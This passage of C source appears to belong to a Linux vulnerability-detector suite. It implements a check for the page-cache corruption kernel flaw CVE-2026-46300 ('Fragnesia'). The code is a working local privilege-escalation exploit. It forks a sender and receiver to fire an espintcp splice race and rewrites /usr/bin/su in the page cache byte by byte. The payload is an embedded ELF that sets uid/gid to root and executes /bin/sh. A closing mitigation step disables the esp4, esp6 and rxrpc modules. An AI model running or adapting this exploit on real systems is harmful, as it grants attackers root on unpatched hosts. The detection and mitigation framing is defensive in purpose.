    816   if (rx == 0) {
    817     close(pipefd[0]);
    818     receiver(pipefd[1]);
    819   }
    820 
    821   tx = fork();
    822   if (tx < 0) die("fork sender");
    823   if (tx == 0) {
    824     close(pipefd[1]);
    825     sender(pipefd[0]);
    826   }
    827 
    828   close(pipefd[0]);
    829   close(pipefd[1]);
    830   if (waitpid(tx, &st_tx, 0) < 0) die("wait sender");
    831   if (waitpid(rx, &st_rx, 0) < 0) die("wait receiver");
    832 
    833   fprintf(stderr, "sender_status=%d receiver_status=%d\n", st_tx, st_rx);
    834   if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 || !WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0) return -1;
    835   return 0;
    836 }
    837 
    838 static uint64_t checked_byte_range_last(uint64_t byte_off, size_t byte_len) {
    839   uint64_t n = (uint64_t)byte_len;
    840 
    841   if (n == 0) {
    842     fprintf(stderr, "byte range is empty\n");
    843     exit(2);
    844   }
    845   if (n - 1 > UINT64_MAX - byte_off) {
    846     fprintf(stderr, "byte range overflows uint64_t\n");
    847     exit(2);
    848   }
    849   return byte_off + n - 1;
    850 }
    851 
    852 static void draw_smash_frame(const unsigned char *desired, size_t desired_len, const unsigned char *live,
    853                              size_t idx_current, size_t changed, size_t skipped, int first_draw) {
    854   size_t done   = changed + skipped;
    855   size_t filled = desired_len ? done * FRAME_BAR_W / desired_len : FRAME_BAR_W;
    856   size_t row, col, bi, i;
    857 
    858   /* Save cursor, jump to row 1, buffer the whole frame into one write. */
    859   static char frame_buf[8192];
    860   setvbuf(stdout, frame_buf, _IOFBF, sizeof(frame_buf));
    861   if (!first_draw) fprintf(stderr, "\033[s\033[?25l\033[1;1H");
    862 
    863   /* ── header ─────────────────────────────────────────────────── */
    864   fprintf(stderr,
    865           "\r\033[2K" C_BCYN "[*]" C_RESET
    866           " smashing %zu bytes into read-only page cache"
    867           "  changed=" C_BGRN "%zu" C_RESET "  skipped=" C_DIM "%zu" C_RESET "  remaining=" C_BYLW "%zu" C_RESET "\n",
    868           desired_len, changed, skipped, done < desired_len ? desired_len - done : (size_t)0);
    869 
    870   /* ── hex dump ────────────────────────────────────────────────── */
    871   for (row = 0; row < FRAME_PAYLOAD_ROWS; row++) {
    872     /* col-0 highlight borrows the header's last trailing space */
    873     int col0_hi = (idx_current < desired_len && row * 16 == idx_current);
    874     fprintf(stderr, "\r\033[2K" C_DIM "  %04zx%s" C_RESET, row * 16, col0_hi ? " " : "  ");
    875 
    876     for (col = 0; col < 16; col++) {
    877       bi      = row * 16 + col;
    878       int cur = (idx_current < desired_len && bi == idx_current);
    879 
    880       if (col == 8) {
    881         /* mid-gap space becomes '[' when col 8 is current */
    882         fprintf(stderr, cur ? "[" : " ");
    883         if (cur) {
    884           fprintf(stderr, C_BYLW "%02x]" C_RESET, live[bi]);
    885           continue;
    886         }
    887       }
    888 
    889       if (bi >= desired_len) {
    890         fprintf(stderr, "   ");
    891         continue;
    892       }
    893 
    894       if (bi < idx_current) {
    895         fprintf(stderr, live[bi] == desired[bi] ? C_BGRN "%02x " C_RESET : C_BRED "%02x " C_RESET, live[bi]);
    896       } else if (cur) {
    897         /* col 0: '[' was the header's borrowed space
    898          * col 1-7, 9-15: '\b' eats the preceding byte's space */
    899         fprintf(stderr, col == 0 ? C_BYLW "[%02x]" C_RESET : "\b" C_BYLW "[%02x]" C_RESET, live[bi]);
    900       } else {
    901         fprintf(stderr, C_DIM "%02x " C_RESET, desired[bi]);
    902       }
    903     }
    904     fprintf(stderr, "\n");
    905   }
    906 
    907   /* ── progress bar ────────────────────────────────────────────── */
    908   fprintf(stderr, "\r\033[2K  [" C_BGRN);
    909   for (i = 0; i < filled; i++) fprintf(stderr, "=");
    910   fprintf(stderr, C_RESET C_DIM);
    911   for (i = filled; i < FRAME_BAR_W; i++) fprintf(stderr, "-");
    912   fprintf(stderr, C_RESET "] " C_BWHT "%zu" C_RESET "/" C_DIM "%zu" C_RESET " (%zu%%)\n", done, desired_len,
    913           desired_len ? done * 100 / desired_len : (size_t)100);
    914 
    915   /* ── separator ───────────────────────────────────────────────── */
    916   fprintf(stderr, "\r\033[2K" C_DIM "────────────────────────────────────────────────────────────" C_RESET "\n");
    917 
    918   fflush(stdout);
    919   setvbuf(stdout, NULL, _IONBF, 0);
    920   if (!first_draw) fprintf(stderr, "\033[?25h\033[u"); /* restore cursor to log area */
    921 }
    922 
    923 static int replace_existing_bytes_after(uint64_t byte_off, const unsigned char *desired, size_t desired_len,
    924                                         uint64_t file_size) {
    925   uint64_t      last = checked_byte_range_last(byte_off, desired_len);
    926   size_t        idx, changed = 0, skipped = 0;
    927   unsigned char live_state[PAYLOAD_LEN];
    928   int           fd_init;
    929 
    930   if (last >= file_size) {
    931     fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n", (unsigned long long)byte_off,
    932             desired_len, (unsigned long long)file_size);
    933     return 2;
    934   }
    935   if (last > file_size - FRAG_LEN) {
    936     fprintf(stderr, "collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
    937             FRAG_LEN, (unsigned long long)byte_off, desired_len, (unsigned long long)file_size);
    938     return 2;
    939   }
    940 
    941   fprintf(stderr, C_BCYN "\n[*]" C_RESET " timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
    942           RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
    943   fprintf(stderr,
    944           C_BCYN "[*]" C_RESET
    945                  " range: offset=0x%llx len=%zu last=0x%llx"
    946                  " enc_len=%d splice_len=%d\n",
    947           (unsigned long long)byte_off, desired_len, (unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
    948   fprintf(stderr,
    949           C_BCYN "[*]" C_RESET
    950                  " union: transformed=0x%llx-0x%llx"
    951                  " collateral_after=0x%llx-0x%llx\n",
    952           (unsigned long long)byte_off, (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
    953           (unsigned long long)(last + 1), (unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
    954   fprintf(stderr, C_BCYN "[*]" C_RESET " ");
    955   print_hex_bytes("payload", desired, desired_len);
    956   fprintf(stderr, "\n");
    957 
    958   build_stream0_table();
    959   fprintf(stderr, "\n");
    960 
    961   /* seed live_state from the file so the hex dump has real values */
    962   fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
    963   if (fd_init < 0) die("open live_state init");
    964   if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len) die("pread live_state init");
    965   close(fd_init);
    966 
    967   /* clear screen so the frame starts at a known row 1 */
    968   fprintf(stderr, "\033[2J\033[H");
    969   draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);
    970 
    971   /* pin the frame to rows 1-FRAME_LINES; scroll region below */
    972   {
    973     struct winsize ws;
    974     int            tr = 40;
    975     if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES) tr = (int)ws.ws_row;
    976     fprintf(stderr, "\033[%d;%dr", FRAME_LINES + 1, tr);
    977     fprintf(stderr, "\033[%d;1H", tr); /* park cursor at bottom of scroll region */
    978     fflush(stdout);
    979   }
    980 
    981   for (idx = 0; idx < desired_len; idx++) {
    982     uint64_t      off = byte_off + idx;
    983     unsigned char current, final, need_stream;
    984 
    985     live_state[idx] = read_byte_at(target_file, off);
    986     current         = live_state[idx];
    987 
    988     draw_smash_frame(desired, desired_len, live_state, idx, changed, skipped, 0);
    989 
    990     if (current == desired[idx]) {
    991       fprintf(stderr, C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET, idx + 1, desired_len,
    992               (unsigned long long)off, current);
    993       skipped++;
    994       continue;
    995     }
    996 
    997     target_splice_off = (loff_t)off;
    998     need_stream       = current ^ desired[idx];
    999     choose_iv_for_stream0(need_stream);
   1000     active_esp_seq++;
   1001 
   1002     fprintf(stderr,
   1003             C_BCYN "[*]" C_RESET
   1004                    " [%zu/%zu]"
   1005                    " +%04llx  " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET "  xor=" C_CYAN "%02x" C_RESET
   1006                    " seq=" C_DIM "%u" C_RESET " nonce=" C_DIM "%u" C_RESET "\n",
   1007             idx + 1, desired_len, (unsigned long long)off, current, desired[idx], need_stream, active_esp_seq,
   1008             stream0_nonce[need_stream]);
   1009 
   1010     /*
   1011                             fprintf(stderr, C_BCYN "[*]" C_RESET " before:\n");
   1012                     print_hex_row(target_file, off, "orig", current, "want", desired[idx]);
   1013 
   1014                             fprintf(stderr, C_BCYN "[*]" C_RESET " iv=" C_CYAN);
   1015                     {
   1016                             size_t k;
   1017                             for (k = 0; k < sizeof(active_esp_gcm_iv); k++)
   1018                                             fprintf(stderr, "%02x", active_esp_gcm_iv[k]);
   1019                     }
   1020     */
   1021     fprintf(stderr, C_RESET " firing espintcp splice...\n");
   1022 
   1023     if (run_trigger_pair() < 0) {
   1024       fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
   1025       return 2;
   1026     }
   1027 
   1028     final           = read_byte_at(target_file, off);
   1029     live_state[idx] = final;
   1030 
   1031     /*
   1032                             fprintf(stderr, C_BCYN "[*]" C_RESET " after:\n");
   1033                     print_hex_row(target_file, off, "was", current, "now", final);
   1034     */
   1035     if (final == desired[idx]) {
   1036       fprintf(stderr, C_BGRN "[+]" C_RESET " smashed" C_DIM " %02x -> %02x  index=%zu offset=+%04llx\n\n" C_RESET,
   1037               current, final, idx, (unsigned long long)off);
   1038       changed++;
   1039       continue;
   1040     }
   1041     if (final == current) {
   1042       fprintf(stderr, C_BGRN "[-]" C_RESET " fixed behavior: byte unchanged at index=%zu offset=%llu\n", idx,
   1043               (unsigned long long)off);
   1044       return 0;
   1045     }
   1046     fprintf(stderr,
   1047             C_BRED "[-]" C_RESET
   1048                    " BUG: byte changed but desired-value check mismatched"
   1049                    " index=%zu offset=%llu desired=%02x got=%02x\n",
   1050             idx, (unsigned long long)off, desired[idx], final);
   1051     return 1;
   1052   }
   1053 
   1054   /* final frame: all bytes done, cursor past the end */
   1055   draw_smash_frame(desired, desired_len, live_state, desired_len, changed, skipped, 0);
   1056 
   1057   /* restore full scroll region and drop cursor below the frame */
   1058   fprintf(stderr, "\033[r\033[%d;1H\n", FRAME_LINES + 1);
   1059 
   1060   /* final verify pass */
   1061   fprintf(stderr, C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
   1062   for (idx = 0; idx < desired_len; idx++) {
   1063     uint64_t      off   = byte_off + idx;
   1064     unsigned char final = read_byte_at(target_file, off);
   1065 
   1066     if (final != desired[idx]) {
   1067       fprintf(stderr, C_BRED "[-]" C_RESET " BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
   1068               idx, (unsigned long long)off, desired[idx], final);
   1069       return 1;
   1070     }
   1071   }
   1072 
   1073   fprintf(stderr,
   1074           C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET " skipped=" C_DIM
   1075                  "%zu" C_RESET "\n",
   1076           desired_len, changed, skipped);
   1077   if (changed == 0) {
   1078     fprintf(stderr, "all requested bytes already had desired values\n");
   1079     return 2;
   1080   }
   1081 
   1082   fprintf(stderr, C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
   1083   return 1;
   1084 }
   1085 
   1086 static void usage(const char *prog) {
   1087   fprintf(stderr, "usage: %s <target-file> <offset> <hex-bytes>\n", prog);
   1088   fprintf(stderr, "example: %s /path/to/target 0 42434445\n", prog);
   1089 }
   1090 
   1091 static const uint8_t shell_elf[PAYLOAD_LEN] = {
   1092     0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
   1093     0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
   1094     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
   1095     0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
   1096     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   1097     0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00,
   1098     0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x31, 0xf6, 0x31, 0xc0,
   1099     0xb0, 0x6a, 0x0f, 0x05, 0xb0, 0x69, 0x0f, 0x05, 0xb0, 0x74, 0x0f, 0x05, 0x6a, 0x00, 0x48, 0x8d, 0x05, 0x12,
   1100     0x00, 0x00, 0x00, 0x50, 0x48, 0x89, 0xe2, 0x48, 0x8d, 0x3d, 0x12, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x6a, 0x3b,
   1101     0x58, 0x0f, 0x05, 0x54, 0x45, 0x52, 0x4d, 0x3d, 0x78, 0x74, 0x65, 0x72, 0x6d, 0x00, 0x2f, 0x62, 0x69, 0x6e,
   1102     0x2f, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
   1103 };
   1104 
   1105 static int fragnesia_detect_inner(void) {
   1106   unsigned char *desired;
   1107   uint64_t       file_size, byte_off;
   1108   size_t         desired_len, sample_len;
   1109   int            ret;
   1110 
   1111   setvbuf(stdout, NULL, _IONBF, 0);
   1112 
   1113   fprintf(stderr,
   1114           C_BCYN "[*]" C_RESET " uid=" C_BWHT "%d" C_RESET " euid=" C_BWHT "%d" C_RESET " gid=" C_BWHT "%d" C_RESET
   1115                  " egid=" C_BWHT "%d" C_RESET "\n",
   1116           getuid(), geteuid(), getgid(), getegid());
   1117   fprintf(stderr, C_BCYN "[*]" C_RESET " mode=xfrm_espintcp_pagecache_replace collateral=after\n");
   1118   fprintf(stderr, "\n");
   1119 
   1120   //        system("cp /bin/cat /tmp/test");
   1121   //        file_size = use_existing_target("/tmp/test");
   1122   file_size   = use_existing_target("/usr/bin/su");
   1123   byte_off    = 0;
   1124   desired     = (unsigned char *)shell_elf;
   1125   desired_len = PAYLOAD_LEN;
   1126 
   1127   fprintf(stderr, C_BCYN "[*]" C_RESET " target=%s size=%llu\n", target_file, (unsigned long long)file_size);
   1128   verify_write_denied("outer");
   1129   setup_user_netns_xfrm();
   1130   verify_write_denied("userns_root_mapped_to_outer_user");
   1131 
   1132   ret = replace_existing_bytes_after(byte_off, desired, desired_len, file_size);
   1133 
   1134   /* Clean up: drop caches to evict corrupted page cache entries */
   1135   drop_page_cache();
   1136 
   1137   /* reset scroll region; some terminals home the cursor on \033[r so
   1138    * explicitly jump to the last row so PS1 lands below our output */
   1139   write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
   1140 
   1141   if (ret == 1) {
   1142     fprintf(stderr, C_BGRN "[+]" C_RESET " vulnerable: page cache corruption succeeded\n");
   1143   } else if (ret == 0) {
   1144     fprintf(stderr, C_DIM "[-]" C_RESET " not vulnerable: no mutation observed\n");
   1145   } else {
   1146     fprintf(stderr, C_BRED "[!]" C_RESET " detection indeterminate (ret=%d)\n", ret);
   1147   }
   1148   return ret;
   1149 }
   1150 
   1151 int detector_cve_2026_46300(struct cve_context *ctx) {
   1152   pid_t child;
   1153   int   wstatus;
   1154 
   1155   (void)ctx;
   1156 
   1157   child = fork();
   1158   if (child < 0) {
   1159     fprintf(stderr, "[cve-2026-46300] fork: %s\n", strerror(errno));
   1160     return 0;
   1161   }
   1162 
   1163   if (child == 0) {
   1164     /* Child: run the detection. Any exit() only kills this child. */
   1165     int rc = fragnesia_detect_inner();
   1166     _exit(rc);
   1167   }
   1168 
   1169   /* Parent: wait for child and interpret exit status */
   1170   if (waitpid(child, &wstatus, 0) < 0) {
   1171     fprintf(stderr, "[cve-2026-46300] waitpid: %s\n", strerror(errno));
   1172     return 0;
   1173   }
   1174 
   1175   /* Also try to drop caches from here in case child couldn't (no priv) */
   1176   drop_page_cache();
   1177 
   1178   if (WIFEXITED(wstatus)) {
   1179     int code = WEXITSTATUS(wstatus);
   1180     switch (code) {
   1181       case 1:
   1182         /* replace_existing_bytes_after returned 1 -> mutation observed */
   1183         return 1;
   1184       case 0:
   1185       case 2:
   1186       case 3:
   1187       case 4:
   1188       default:
   1189         /* Not vulnerable */
   1190         return 0;
   1191     }
   1192   }
   1193 
   1194   /* Child killed by signal -> not vulnerable */
   1195   return 0;
   1196 }
   1197 
   1198 __attribute__((constructor)) void detector_cve_2026_46300_setup(void) {
   1199   detector_queue_append("CVE-2026-46300", "Fragnesia",
   1200                         "Update kernel to include patch from\n"
   1201                         "  https://lists.openwall.net/netdev/2026/05/13/79\n"
   1202                         "  or apply dirtyfrag mitigation:\n"
   1203                         "  rmmod esp4 esp6 rxrpc; \n"
   1204                         "  printf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' \\n"
   1205                         "    > /etc/modprobe.d/dirtyfrag.conf",
   1206                         detector_cve_2026_46300);
   1207 }